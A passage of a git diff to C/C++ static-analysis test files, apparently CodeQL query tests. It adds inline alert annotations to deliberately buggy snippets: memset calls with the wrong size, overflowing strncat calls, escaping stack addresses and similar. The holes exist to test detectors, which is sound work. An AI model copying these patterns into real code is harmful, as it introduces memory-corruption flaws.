BAD + strncpy(a->s->y, b->s->y, strlen(b->s->y) + 1); // BAD // $ Alert } void test7(char* x, char* y) { @@ -102,10 +102,10 @@ void test9() wchar_t buf2[20]; const wchar_t *str = L"01234567890123456789"; - wcsxfrm_l(buf1, str, sizeof(buf1), nullptr); // BAD (but not a StrncpyFlippedArgs bug) + wcsxfrm_l(buf1, str, sizeof(buf1), nullptr); // BAD (but not a StrncpyFlippedArgs bug) // $ Alert wcsxfrm_l(buf1, str, sizeof(buf1) / sizeof(wchar_t), nullptr); // GOOD - wcsxfrm_l(buf1, str, wcslen(str), nullptr); // BAD - wcsxfrm_l(buf1, str, wcslen(str) + 1, nullptr); // BAD - wcsxfrm_l(buf1, buf2, sizeof(buf2), nullptr); // BAD - wcsxfrm_l(buf1, buf2, sizeof(buf2) / sizeof(wchar_t), nullptr); // BAD + wcsxfrm_l(buf1, str, wcslen(str), nullptr); // BAD // $ Alert + wcsxfrm_l(buf1, str, wcslen(str) + 1, nullptr); // BAD // $ Alert + wcsxfrm_l(buf1, buf2, sizeof(buf2), nullptr); // BAD // $ Alert + wcsxfrm_l(buf1, buf2, sizeof(buf2) / sizeof(wchar_t), nullptr); // BAD // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousCallToMemset/SuspiciousCallToMemset.qlref b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousCallToMemset/SuspiciousCallToMemset.qlref index ab987b824e42..8a03a49d34e3 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousCallToMemset/SuspiciousCallToMemset.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousCallToMemset/SuspiciousCallToMemset.qlref @@ -1 +1,2 @@ -Likely Bugs/Memory Management/SuspiciousCallToMemset.ql \ No newline at end of file +query: Likely Bugs/Memory Management/SuspiciousCallToMemset.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousCallToMemset/doc_tests.c b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousCallToMemset/doc_tests.c index 1acf9e8e566b..f13ea2624034 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousCallToMemset/doc_tests.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousCallToMemset/doc_tests.c @@ -26,7 +26,7 @@ void tests() struct T *t2 = (struct T*)malloc(sizeof(struct T)); // the size of the struct is probably intended // but this takes the size of a pointer - memset(t2, 0, sizeof(t2)); // BAD + memset(t2, 0, sizeof(t2)); // BAD // $ Alert // correct but discouraged, use sizeof(struct T) instead memset(t1, 0, sizeof(*t2)); // GOOD diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousCallToMemset/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousCallToMemset/test.cpp index 6a8c8f904a79..a764eb799bb9 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousCallToMemset/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousCallToMemset/test.cpp @@ -23,37 +23,37 @@ int main() memset(&ms, 0, sizeof(myStruct)); // GOOD memset(&ms, 0, sizeof(ms)); // GOOD memset(&ms, 0, 8); // BAD [NOT DETECTED] - memset(&ms, 0, sizeof(otherStruct)); // BAD + memset(&ms, 0, sizeof(otherStruct)); // BAD // $ Alert { myStruct *msPtr = &ms; void *vPtr = msPtr; - memset(&msPtr, 0, sizeof(myStruct)); // BAD + memset(&msPtr, 0, sizeof(myStruct)); // BAD // $ Alert memset(&msPtr, 0, sizeof(myStruct *)); // GOOD - memset(&msPtr, 0, sizeof(*msPtr)); // BAD + memset(&msPtr, 0, sizeof(*msPtr)); // BAD // $ Alert memset(&msPtr, 0, sizeof(msPtr)); // GOOD memset(msPtr, 0, sizeof(myStruct)); // GOOD - memset(msPtr, 0, sizeof(myStruct *)); // BAD + memset(msPtr, 0, sizeof(myStruct *)); // BAD // $ Alert memset(msPtr, 0, sizeof(*msPtr)); // GOOD - memset(msPtr, 0, sizeof(msPtr)); // BAD + memset(msPtr, 0, sizeof(msPtr)); // BAD // $ Alert memset(vPtr, 0, sizeof(myStruct)); // GOOD - memset(vPtr, 0, sizeof(myStruct *)); // BAD + memset(vPtr, 0, sizeof(myStruct *)); // BAD // $ Alert memset(vPtr, 0, sizeof(*msPtr)); // GOOD - memset(vPtr, 0, sizeof(msPtr)); // BAD + memset(vPtr, 0, sizeof(msPtr)); // BAD // $ Alert { myStruct **msPtrPtr = &msPtr; - memset(&msPtrPtr, 0, sizeof(myStruct)); // BAD - memset(&msPtrPtr, 0, sizeof(myStruct *)); // BAD + memset(&msPtrPtr, 0, sizeof(myStruct)); // BAD // $ Alert + memset(&msPtrPtr, 0, sizeof(myStruct *)); // BAD // $ Alert memset(&msPtrPtr, 0, sizeof(myStruct **)); // GOOD - memset(msPtrPtr, 0, sizeof(myStruct)); // BAD + memset(msPtrPtr, 0, sizeof(myStruct)); // BAD // $ Alert memset(msPtrPtr, 0, sizeof(myStruct *)); // GOOD - memset(msPtrPtr, 0, sizeof(myStruct **)); // BAD + memset(msPtrPtr, 0, sizeof(myStruct **)); // BAD // $ Alert memset(*msPtrPtr, 0, sizeof(myStruct)); // GOOD - memset(*msPtrPtr, 0, sizeof(myStruct *)); // BAD - memset(*msPtrPtr, 0, sizeof(myStruct **)); // BAD + memset(*msPtrPtr, 0, sizeof(myStruct *)); // BAD // $ Alert + memset(*msPtrPtr, 0, sizeof(myStruct **)); // BAD // $ Alert } } } @@ -65,40 +65,40 @@ int main() memset(&msArr, 0, sizeof(myStruct) * NUM); // GOOD memset(&msArr, 0, sizeof(msArr)); // GOOD memset(&msArr, 0, sizeof(myStruct[NUM])); // GOOD - memset(&msArr, 0, sizeof(myStruct *)); // BAD + memset(&msArr, 0, sizeof(myStruct *)); // BAD // $ Alert memset(msArr, 0, sizeof(myStruct) * NUM); // GOOD memset(msArr, 0, sizeof(msArr)); // GOOD memset(msArr, 0, sizeof(myStruct[NUM])); // GOOD - memset(msArr, 0, sizeof(myStruct *)); // BAD + memset(msArr, 0, sizeof(myStruct *)); // BAD // $ Alert memset(&(msArr[0]), 0, sizeof(myStruct) * NUM); // GOOD memset(&(msArr[0]), 0, sizeof(msArr)); // GOOD memset(&(msArr[0]), 0, sizeof(myStruct[NUM])); // GOOD - memset(&(msArr[0]), 0, sizeof(myStruct *)); // BAD + memset(&(msArr[0]), 0, sizeof(myStruct *)); // BAD // $ Alert memset(msPtr, 0, sizeof(myStruct) * NUM); // GOOD memset(msPtr, 0, sizeof(msArr)); // GOOD memset(msPtr, 0, sizeof(myStruct[NUM])); // GOOD - memset(msPtr, 0, sizeof(myStruct *)); // BAD + memset(msPtr, 0, sizeof(myStruct *)); // BAD // $ Alert } { myStructPtr msPtrArr[NUM]; - memset(&msPtrArr, 0, sizeof(myStruct) * NUM); // BAD + memset(&msPtrArr, 0, sizeof(myStruct) * NUM); // BAD // $ Alert memset(&msPtrArr, 0, sizeof(myStruct *) * NUM); // GOOD memset(&msPtrArr, 0, sizeof(myStructPtr) * NUM); // GOOD - memset(&msPtrArr, 0, sizeof(myStruct **) * NUM); // BAD + memset(&msPtrArr, 0, sizeof(myStruct **) * NUM); // BAD // $ Alert memset(msPtrArr, 0, sizeof(myStruct) * NUM); // BAD [NOT DETECTED] memset(msPtrArr, 0, sizeof(myStruct *) * NUM); // GOOD memset(msPtrArr, 0, sizeof(myStructPtr) * NUM); // GOOD - memset(msPtrArr, 0, sizeof(myStruct **) * NUM); // BAD - memset(&(msPtrArr[0]), 0, sizeof(myStruct) * NUM); // BAD + memset(msPtrArr, 0, sizeof(myStruct **) * NUM); // BAD // $ Alert + memset(&(msPtrArr[0]), 0, sizeof(myStruct) * NUM); // BAD // $ Alert memset(&(msPtrArr[0]), 0, sizeof(myStruct *) * NUM); // GOOD memset(&(msPtrArr[0]), 0, sizeof(myStructPtr) * NUM); // GOOD - memset(&(msPtrArr[0]), 0, sizeof(myStruct **) * NUM); // BAD + memset(&(msPtrArr[0]), 0, sizeof(myStruct **) * NUM); // BAD // $ Alert memset(msPtrArr[0], 0, sizeof(myStruct) * NUM); // GOOD - memset(msPtrArr[0], 0, sizeof(myStruct *) * NUM); // BAD - memset(msPtrArr[0], 0, sizeof(myStructPtr) * NUM); // BAD - memset(msPtrArr[0], 0, sizeof(myStruct **) * NUM); // BAD + memset(msPtrArr[0], 0, sizeof(myStruct *) * NUM); // BAD // $ Alert + memset(msPtrArr[0], 0, sizeof(myStructPtr) * NUM); // BAD // $ Alert + memset(msPtrArr[0], 0, sizeof(myStruct **) * NUM); // BAD // $ Alert } { @@ -126,13 +126,13 @@ void myFunc(myStruct paramArray[80], myStruct &refStruct) memset(&localArray, 0, sizeof(localArray)); // GOOD memset(paramArray, 0, sizeof(myStruct) * 80); // GOOD - memset(paramArray, 0, sizeof(paramArray)); // GOOD [FALSE POSITIVE] - memset(¶mArray, 0, sizeof(myStruct) * 80); // BAD + memset(paramArray, 0, sizeof(paramArray)); // GOOD [FALSE POSITIVE] // $ Alert + memset(¶mArray, 0, sizeof(myStruct) * 80); // BAD // $ Alert memset(¶mArray, 0, sizeof(paramArray)); // BAD [NOT DETECTED] memset(&refStruct, 0, sizeof(myStruct)); // GOOD memset(&refStruct, 0, sizeof(refStruct)); // GOOD - memset(&refStruct, 0, sizeof(myStruct *)); // BAD + memset(&refStruct, 0, sizeof(myStruct *)); // BAD // $ Alert } class MyClass @@ -167,9 +167,9 @@ void more_tests_2() intArrayPointer iapa[88]; memset(iap, 0, sizeof(intArray)); // GOOD - memset(&iap, 0, sizeof(intArray)); // BAD + memset(&iap, 0, sizeof(intArray)); // BAD // $ Alert memset(iapa, 0, sizeof(iapa)); // GOOD - memset(iapa, 0, sizeof(intArrayPointer *)); // BAD + memset(iapa, 0, sizeof(intArrayPointer *)); // BAD // $ Alert } void more_tests_3() diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousCallToStrncat/SuspiciousCallToStrncat.qlref b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousCallToStrncat/SuspiciousCallToStrncat.qlref index 37583da5e482..ed09b7cd912d 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousCallToStrncat/SuspiciousCallToStrncat.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousCallToStrncat/SuspiciousCallToStrncat.qlref @@ -1 +1,2 @@ -Likely Bugs/Memory Management/SuspiciousCallToStrncat.ql +query: Likely Bugs/Memory Management/SuspiciousCallToStrncat.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousCallToStrncat/test.c b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousCallToStrncat/test.c index 13c18b75dbb4..0ea05c6bf183 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousCallToStrncat/test.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousCallToStrncat/test.c @@ -21,7 +21,7 @@ void good0(char *s) { void bad0(char *s) { char buf[80]; strcpy(buf, "s = "); - strncat(buf, s, sizeof(buf)); // BAD -- Forgot to allow for "s = " + strncat(buf, s, sizeof(buf)); // BAD -- Forgot to allow for "s = " // $ Alert strncat(buf, ".", 1); // BAD [NOT DETECTED] -- there might not be even 1 character of space } @@ -42,7 +42,7 @@ void bad1(char *s) { void strncat_test1(char *s) { char buf[80]; strncat(buf, s, sizeof(buf) - strlen(buf) - 1); // GOOD - strncat(buf, s, sizeof(buf) - strlen(buf)); // BAD + strncat(buf, s, sizeof(buf) - strlen(buf)); // BAD // $ Alert } void* malloc(size_t); @@ -64,7 +64,7 @@ void strncat_test3(char* s, struct buffers* buffers) { unsigned len_array = strlen(buffers->array); unsigned max_size = sizeof(buffers->array); unsigned free_size = max_size - len_array; - strncat(buffers->array, s, free_size); // BAD + strncat(buffers->array, s, free_size); // BAD // $ Alert } #define MAX_SIZE 80 @@ -72,8 +72,8 @@ void strncat_test3(char* s, struct buffers* buffers) { void strncat_test4(char *s) { char buf[MAX_SIZE]; strncat(buf, s, MAX_SIZE - strlen(buf) - 1); // GOOD - strncat(buf, s, MAX_SIZE - strlen(buf)); // BAD - strncat(buf, "...", MAX_SIZE - strlen(buf)); // BAD + strncat(buf, s, MAX_SIZE - strlen(buf)); // BAD // $ Alert + strncat(buf, "...", MAX_SIZE - strlen(buf)); // BAD // $ Alert } void strncat_test5(char *s) { @@ -88,7 +88,7 @@ void strncat_test6() { char dest[60]; dest[0] = '\0'; // Will write `dest[0 .. 5]` - strncat(dest, "small", sizeof(dest)); // GOOD [FALSE POSITIVE] + strncat(dest, "small", sizeof(dest)); // GOOD [FALSE POSITIVE] // $ Alert } { @@ -96,6 +96,6 @@ void strncat_test6() { memset(dest, 'a', sizeof(dest)); dest[54] = '\0'; // Will write `dest[54 .. 59]` - strncat(dest, "small", sizeof(dest)); // GOOD [FALSE POSITIVE] + strncat(dest, "small", sizeof(dest)); // GOOD [FALSE POSITIVE] // $ Alert } } \ No newline at end of file diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousSizeof/SuspiciousSizeof.qlref b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousSizeof/SuspiciousSizeof.qlref index b31c76e45832..846e202a48ad 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousSizeof/SuspiciousSizeof.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousSizeof/SuspiciousSizeof.qlref @@ -1 +1,2 @@ -Likely Bugs/Memory Management/SuspiciousSizeof.ql \ No newline at end of file +query: Likely Bugs/Memory Management/SuspiciousSizeof.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousSizeof/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousSizeof/test.cpp index f782badb55ac..82da4edd17e4 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousSizeof/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/SuspiciousSizeof/test.cpp @@ -3,21 +3,21 @@ typedef unsigned int size_t; void *memcpy(void *destination, const void *source, size_t num); void f1(char s[]) { - int size = sizeof(s); // BAD + int size = sizeof(s); // BAD // $ Alert // s is now a char*, not an array. // sizeof(s) will evaluate to sizeof(char *) int size2 = sizeof(s[0]); // GOOD } void f2(char s[10]) { - int size = sizeof(s); // BAD + int size = sizeof(s); // BAD // $ Alert int size2 = sizeof(s[0]); // GOOD } typedef char myarray[10]; void f3(myarray s) { - int size = sizeof(s); // BAD + int size = sizeof(s); // BAD // $ Alert int size2 = sizeof(s[0]); // GOOD } @@ -28,7 +28,7 @@ struct container }; void f4(container *s) { - int size = sizeof(s); // (dubious) + int size = sizeof(s); // (dubious) // $ Alert int size3 = sizeof(s->ptr); // GOOD int size2 = sizeof(s->array); // GOOD } @@ -42,7 +42,7 @@ void f5(container *s) { void f6(container *s) { container t; - memcpy(&t, s, sizeof(s)); // BAD + memcpy(&t, s, sizeof(s)); // BAD // $ Alert } void f7(container *s) { @@ -55,5 +55,5 @@ class myClass {}; typedef myClass *myClassPtr; void f8(const myClassPtr s[]) { - int size = sizeof(s); // BAD + int size = sizeof(s); // BAD // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/UnsafeUseOfStrcat/strcat.c b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/UnsafeUseOfStrcat/strcat.c index ea723e1e0f55..efadee92900b 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/UnsafeUseOfStrcat/strcat.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/UnsafeUseOfStrcat/strcat.c @@ -19,7 +19,7 @@ void f(void) { output4[0] = '\0'; strcat(output1, str1); strcat(output2, str1); - strcat(output3, str2); // Bad, as str2 gets reassigned - strcat(output4, str3); // Bad, as str3 gets fiddled with + strcat(output3, str2); // Bad, as str2 gets reassigned // $ Alert + strcat(output4, str3); // Bad, as str3 gets fiddled with // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/UnsafeUseOfStrcat/strcat.qlref b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/UnsafeUseOfStrcat/strcat.qlref index 9790cddebab5..7f1a1cf35f2d 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/UnsafeUseOfStrcat/strcat.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/UnsafeUseOfStrcat/strcat.qlref @@ -1 +1,2 @@ -Likely Bugs/Memory Management/UnsafeUseOfStrcat.ql +query: Likely Bugs/Memory Management/UnsafeUseOfStrcat.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/UsingExpiredStackAddress/UsingExpiredStackAddress.qlref b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/UsingExpiredStackAddress/UsingExpiredStackAddress.qlref index ce6cdee0d867..4075c6c57983 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/UsingExpiredStackAddress/UsingExpiredStackAddress.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/UsingExpiredStackAddress/UsingExpiredStackAddress.qlref @@ -1 +1,2 @@ -Likely Bugs/Memory Management/UsingExpiredStackAddress.ql \ No newline at end of file +query: Likely Bugs/Memory Management/UsingExpiredStackAddress.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/UsingExpiredStackAddress/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/UsingExpiredStackAddress/test.cpp index 616305a8174d..14a10769e144 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/UsingExpiredStackAddress/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/UsingExpiredStackAddress/test.cpp @@ -7,12 +7,12 @@ static struct S100 s101; void escape1() { int x; - s101.p = &x; + s101.p = &x; // $ Source } int simple_field_bad() { escape1(); - return *s101.p; // BAD + return *s101.p; // BAD // $ Alert } int simple_field_good() { @@ -21,7 +21,7 @@ int simple_field_good() { } int deref_p() { - return *s101.p; // BAD + return *s101.p; // BAD // $ Alert } int field_indirect_bad() { @@ -49,13 +49,13 @@ int store_argument_value() { } void store_address_of_argument(int y) { - s101.p = &y; + s101.p = &y; // $ Source } int store_argument_address() { int x; store_address_of_argument(x); - return *s101.p; // BAD + return *s101.p; // BAD // $ Alert } void address_escapes_through_pointer_arith() { @@ -65,12 +65,12 @@ void address_escapes_through_pointer_arith() { int* p2 = p1 - 1; int* p3 = 1 + p2; p3++; - s101.p = p3; + s101.p = p3; // $ Source } int test_pointer_arith_bad() { address_escapes_through_pointer_arith(); - return *s101.p; // BAD + return *s101.p; // BAD // $ Alert } int test_pointer_arith_good_1() { @@ -90,12 +90,12 @@ int test_pointer_arith_good_2(bool b) { void field_address_escapes() { S100 s; - s101.p = &s.i; + s101.p = &s.i; // $ Source } int test_field_address_escapes() { field_address_escapes(); - return s101.p[0]; // BAD + return s101.p[0]; // BAD // $ Alert } void escape_through_reference() { @@ -103,12 +103,12 @@ void escape_through_reference() { int& r0 = x; int& r1 = r0; r1++; - s101.p = &r1; + s101.p = &r1; // $ Source } int test_escapes_through_reference() { escape_through_reference(); - return *s101.p; // BAD + return *s101.p; // BAD // $ Alert } struct S300 { @@ -133,53 +133,53 @@ void escape_through_arrays() { int b2[14][15]; int b3[13][14][15]; - s1.p1 = b1; - s2.p1 = &b1[1]; + s1.p1 = b1; // $ Source + s2.p1 = &b1[1]; // $ Source - s1.p2 = b2; - s2.p2 = &b2[1]; - s3.p1 = b2[1]; - s4.p1 = &b2[1][2]; + s1.p2 = b2; // $ Source + s2.p2 = &b2[1]; // $ Source + s3.p1 = b2[1]; // $ Source + s4.p1 = &b2[1][2]; // $ Source - s1.p3 = b3; - s2.p3 = &b3[1]; - s3.p2 = b3[1]; - s4.p2 = &b3[1][2]; - s5.p1 = b3[1][2]; + s1.p3 = b3; // $ Source + s2.p3 = &b3[1]; // $ Source + s3.p2 = b3[1]; // $ Source + s4.p2 = &b3[1][2]; // $ Source + s5.p1 = b3[1][2]; // $ Source s6.p1 = &b3[1][2][3]; - s1.pp[0] = b1; - s2.pp[0] = &b1[1]; - s3.pp[0] = b2[1]; - s4.pp[0] = &b2[1][2]; - s5.pp[0] = b3[1][2]; - s6.pp[0] = &b3[1][2][3]; + s1.pp[0] = b1; // $ Source + s2.pp[0] = &b1[1]; // $ Source + s3.pp[0] = b2[1]; // $ Source + s4.pp[0] = &b2[1][2]; // $ Source + s5.pp[0] = b3[1][2]; // $ Source + s6.pp[0] = &b3[1][2][3]; // $ Source } void test_escape_through_arrays() { escape_through_arrays(); - int x1 = *s1.p1; // BAD - int x2 = *s2.p1; // BAD - - int* x3 = s1.p2[1]; // BAD - int x4 = *s1.p2[1]; // BAD - int* x5 = *s2.p2; // BAD - int* x6 = s3.p1; // BAD - int x7 = *&s4.p1[1]; // BAD - - int x8 = *s1.p3[1][2]; // BAD - int x9 = (*s2.p3[0])[0]; // BAD - int x10 = **s3.p2; // BAD - int x11 = **s4.p2; // BAD - int x12 = (*s4.p1); // BAD - int x13 = s5.p1[1]; // BAD - - int* x14 = s1.pp[0]; // BAD - int x15 = *s2.pp[0]; // BAD - int x16 = *s3.pp[0]; // BAD - int x17 = **s4.pp; // BAD - int x18 = s5.pp[0][0]; // BAD - int x19 = (*s6.pp)[0]; // BAD + int x1 = *s1.p1; // BAD // $ Alert + int x2 = *s2.p1; // BAD // $ Alert + + int* x3 = s1.p2[1]; // BAD // $ Alert + int x4 = *s1.p2[1]; // BAD // $ Alert + int* x5 = *s2.p2; // BAD // $ Alert + int* x6 = s3.p1; // BAD // $ Alert + int x7 = *&s4.p1[1]; // BAD // $ Alert + + int x8 = *s1.p3[1][2]; // BAD // $ Alert + int x9 = (*s2.p3[0])[0]; // BAD // $ Alert + int x10 = **s3.p2; // BAD // $ Alert + int x11 = **s4.p2; // BAD // $ Alert + int x12 = (*s4.p1); // BAD // $ Alert + int x13 = s5.p1[1]; // BAD // $ Alert + + int* x14 = s1.pp[0]; // BAD // $ Alert + int x15 = *s2.pp[0]; // BAD // $ Alert + int x16 = *s3.pp[0]; // BAD // $ Alert + int x17 = **s4.pp; // BAD // $ Alert + int x18 = s5.pp[0][0]; // BAD // $ Alert + int x19 = (*s6.pp)[0]; // BAD // $ Alert } void not_escape_through_arrays() { @@ -231,12 +231,12 @@ static struct S100 s103; void escape2() { int x; s103.p = nullptr; - s103.p = &x; + s103.p = &x; // $ Source } void calls_escape2() { escape2(); - int x = *s103.p; // BAD + int x = *s103.p; // BAD // $ Alert } bool unknown(); @@ -260,10 +260,10 @@ void escape3() { int x; s105.p = nullptr; if(unknown()) { } - s105.p = &x; + s105.p = &x; // $ Source } void calls_escape3() { escape3(); - int x = *s105.p; // BAD + int x = *s105.p; // BAD // $ Alert } \ No newline at end of file diff --git a/cpp/ql/test/query-tests/Likely Bugs/OO/IncorrectConstructorDelegation/IncorrectConstructorDelegation.qlref b/cpp/ql/test/query-tests/Likely Bugs/OO/IncorrectConstructorDelegation/IncorrectConstructorDelegation.qlref index 193c84e1ab2a..f29596941a18 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/OO/IncorrectConstructorDelegation/IncorrectConstructorDelegation.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/OO/IncorrectConstructorDelegation/IncorrectConstructorDelegation.qlref @@ -1 +1,2 @@ -Likely Bugs/OO/IncorrectConstructorDelegation.ql +query: Likely Bugs/OO/IncorrectConstructorDelegation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/OO/IncorrectConstructorDelegation/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/OO/IncorrectConstructorDelegation/test.cpp index ce652cabdace..225f3735a416 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/OO/IncorrectConstructorDelegation/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/OO/IncorrectConstructorDelegation/test.cpp @@ -4,7 +4,7 @@ class MyRect public: MyRect() { - MyRect(100.0f, 100.0f); // BAD + MyRect(100.0f, 100.0f); // BAD // $ Alert } MyRect(float _width, float _height) : width(_width), height(_height) @@ -13,7 +13,7 @@ class MyRect MyRect(float _width) { - MyRect(_width, _width); // BAD + MyRect(_width, _width); // BAD // $ Alert } MyRect(int a) : MyRect(10.0f, 10.0f) // GOOD diff --git a/cpp/ql/test/query-tests/Likely Bugs/OO/NonVirtualDestructorInBaseClass/NonVirtualDestructorInBaseClass.cpp b/cpp/ql/test/query-tests/Likely Bugs/OO/NonVirtualDestructorInBaseClass/NonVirtualDestructorInBaseClass.cpp index 4b7b61de8cec..2555a6cb842e 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/OO/NonVirtualDestructorInBaseClass/NonVirtualDestructorInBaseClass.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/OO/NonVirtualDestructorInBaseClass/NonVirtualDestructorInBaseClass.cpp @@ -53,7 +53,7 @@ struct Base_Virtual_VirtualDtor virtual void VirtualFunction(); }; -struct Base_Virtual_NonVirtualDtor +struct Base_Virtual_NonVirtualDtor // $ Alert { ~Base_Virtual_NonVirtualDtor(); virtual void VirtualFunction(); @@ -65,7 +65,7 @@ struct Base_Virtual_ImplicitDtor virtual void VirtualFunction(); }; -struct Base_Virtual_NonVirtualDtorWithDefinition +struct Base_Virtual_NonVirtualDtorWithDefinition // $ Alert { ~Base_Virtual_NonVirtualDtorWithDefinition(); virtual void VirtualFunction(); @@ -75,7 +75,7 @@ Base_Virtual_NonVirtualDtorWithDefinition::~Base_Virtual_NonVirtualDtorWithDefin { } -struct Base_Virtual_NonVirtualDtorWithInlineDefinition +struct Base_Virtual_NonVirtualDtorWithInlineDefinition // $ Alert { ~Base_Virtual_NonVirtualDtorWithInlineDefinition() { diff --git a/cpp/ql/test/query-tests/Likely Bugs/OO/NonVirtualDestructorInBaseClass/NonVirtualDestructorInBaseClass.qlref b/cpp/ql/test/query-tests/Likely Bugs/OO/NonVirtualDestructorInBaseClass/NonVirtualDestructorInBaseClass.qlref index ff3cecfecc72..9ca3f49140ee 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/OO/NonVirtualDestructorInBaseClass/NonVirtualDestructorInBaseClass.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/OO/NonVirtualDestructorInBaseClass/NonVirtualDestructorInBaseClass.qlref @@ -1 +1,2 @@ -Likely Bugs/OO/NonVirtualDestructorInBaseClass.ql +query: Likely Bugs/OO/NonVirtualDestructorInBaseClass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/OO/ThrowInDestructor/ThrowInDestructor.qlref b/cpp/ql/test/query-tests/Likely Bugs/OO/ThrowInDestructor/ThrowInDestructor.qlref index 2b0862fc362d..eee2e41916cd 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/OO/ThrowInDestructor/ThrowInDestructor.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/OO/ThrowInDestructor/ThrowInDestructor.qlref @@ -1 +1,2 @@ -Likely Bugs/OO/ThrowInDestructor.ql +query: Likely Bugs/OO/ThrowInDestructor.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/OO/ThrowInDestructor/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/OO/ThrowInDestructor/test.cpp index 247d6d801efd..0574cc47facd 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/OO/ThrowInDestructor/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/OO/ThrowInDestructor/test.cpp @@ -10,7 +10,7 @@ struct ThrowsDirectly { ~ThrowsDirectly() noexcept(false) { if (i == 0) { - throw exception(); // BAD + throw exception(); // BAD // $ Alert } else if (i == 1) { try { @@ -45,14 +45,14 @@ struct ThrowsDirectly { } else if (i == 5) { try { if (i == 5) - throw exception(); // BAD + throw exception(); // BAD // $ Alert } catch (const specific_exception &) { } } else if (i == 6) { try { if (i == 6) - throw exception(); // BAD + throw exception(); // BAD // $ Alert } catch (const other_throwable &) { } } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Protocols/TlsSettingsMisconfiguration.qlref b/cpp/ql/test/query-tests/Likely Bugs/Protocols/TlsSettingsMisconfiguration.qlref index 8c1c54ff9606..bc1be3c9bfb6 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Protocols/TlsSettingsMisconfiguration.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Protocols/TlsSettingsMisconfiguration.qlref @@ -1 +1,2 @@ -Likely Bugs/Protocols/TlsSettingsMisconfiguration.ql \ No newline at end of file +query: Likely Bugs/Protocols/TlsSettingsMisconfiguration.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Protocols/UseOfDeprecatedHardcodedProtocol.qlref b/cpp/ql/test/query-tests/Likely Bugs/Protocols/UseOfDeprecatedHardcodedProtocol.qlref index 2cef090faef4..b682f4aa2d55 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Protocols/UseOfDeprecatedHardcodedProtocol.qlref +++ 